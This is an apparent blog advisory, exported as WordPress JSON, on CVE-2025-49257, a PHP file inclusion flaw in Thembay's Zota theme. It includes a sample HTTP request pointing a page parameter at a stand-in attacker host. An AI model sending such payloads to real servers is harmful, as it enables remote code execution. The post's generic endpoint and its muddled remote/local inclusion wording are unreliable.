{"id":55901,"date":"2025-06-29T07:28:58","date_gmt":"2025-06-29T07:28:58","guid":{"rendered":""},"modified":"2025-09-26T19:45:55","modified_gmt":"2025-09-27T01:45:55","slug":"cve-2025-49257-php-remote-file-inclusion-vulnerability-in-zota-by-thembay","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49257-php-remote-file-inclusion-vulnerability-in-zota-by-thembay\/","title":{"rendered":"<strong>CVE-2025-49257: PHP Remote File Inclusion Vulnerability in Zota by Thembay<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-49257 vulnerability poses a significant risk to any system utilizing Thembay&#8217;s Zota up to version 1.3.8. This vulnerability arises from an Improper Control of Filename for Include\/Require Statement in PHP Program, which essentially allows PHP Local File Inclusion &#8211; a serious security flaw that could pave the way for unauthorized system access or data leakage. It&#8217;s of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6143-critical-buffer-overflow-vulnerability-in-totolink-ex1200t\/\"  data-wpil-monitor-id=\"62237\">critical importance that those affected understand and address this vulnerability<\/a> promptly to prevent potential system compromise.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49257<br \/>\nSeverity: High (8.1 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62424\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-162107258\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Zota by Thembay | Up to 1.3.8<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This exploit works by manipulating the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/\"  data-wpil-monitor-id=\"84652\">filename in a PHP<\/a> include\/require statement. An attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49278-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogty\/\"  data-wpil-monitor-id=\"62219\">remotely include a file<\/a> from a different server, leading to local file inclusion. This means that the attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49220-pre-authentication-remote-code-execution-in-trend-micro-apex-central\/\"  data-wpil-monitor-id=\"62549\">execute arbitrary PHP code<\/a> on the server, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-763191068\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a simplified, conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious HTTP request that includes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49279-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogvy\/\"  data-wpil-monitor-id=\"62225\">remote file<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/malicious.example.com\/malicious_file.txt HTTP\/1.1\nHost: vulnerable.example.com<\/code><\/pre>\n<p>In this example, the attacker has manipulated the `page` parameter to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49280-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magty\/\"  data-wpil-monitor-id=\"62234\">remote file<\/a> from &#8220;malicious.example.com. When this request is processed by the server, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49212-trend-micro-endpoint-encryption-policyserver-pre-authentication-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"62582\">code within &#8216;malicious_file.txt&#8217; is executed<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The primary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"62425\">mitigation for this vulnerability<\/a> is to apply a patch provided by the vendor. If a patch is not immediately available or cannot be applied right away, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy. These can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6513-brain2-database-configuration-file-access-vulnerability-in-standard-windows-users\/\"  data-wpil-monitor-id=\"64512\">configured to detect and block attempts to exploit this vulnerability<\/a>.<br \/>\nRemember, prompt action is essential in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"62496\">preventing potential system compromise or data<\/a> leakage. Regularly updating your systems and applications, alongside utilising robust cybersecurity measures, is key to maintaining a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52950-unauthorized-access-exploitation-in-juniper-networks-security-director\/\"  data-wpil-monitor-id=\"84653\">secure network<\/a> environment.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-49257 vulnerability poses a significant risk to any system utilizing Thembay&#8217;s Zota up to version 1.3.8. This vulnerability arises from an Improper Control of Filename for Include\/Require Statement in PHP Program, which essentially allows PHP Local File Inclusion &#8211; a serious security flaw that could pave the way for unauthorized system access or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55901","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55901","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55901"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55901\/revisions"}],"predecessor-version":[{"id":77437,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55901\/revisions\/77437"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55901"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55901"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55901"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55901"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55901"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55901"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55901"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55901"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55901"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}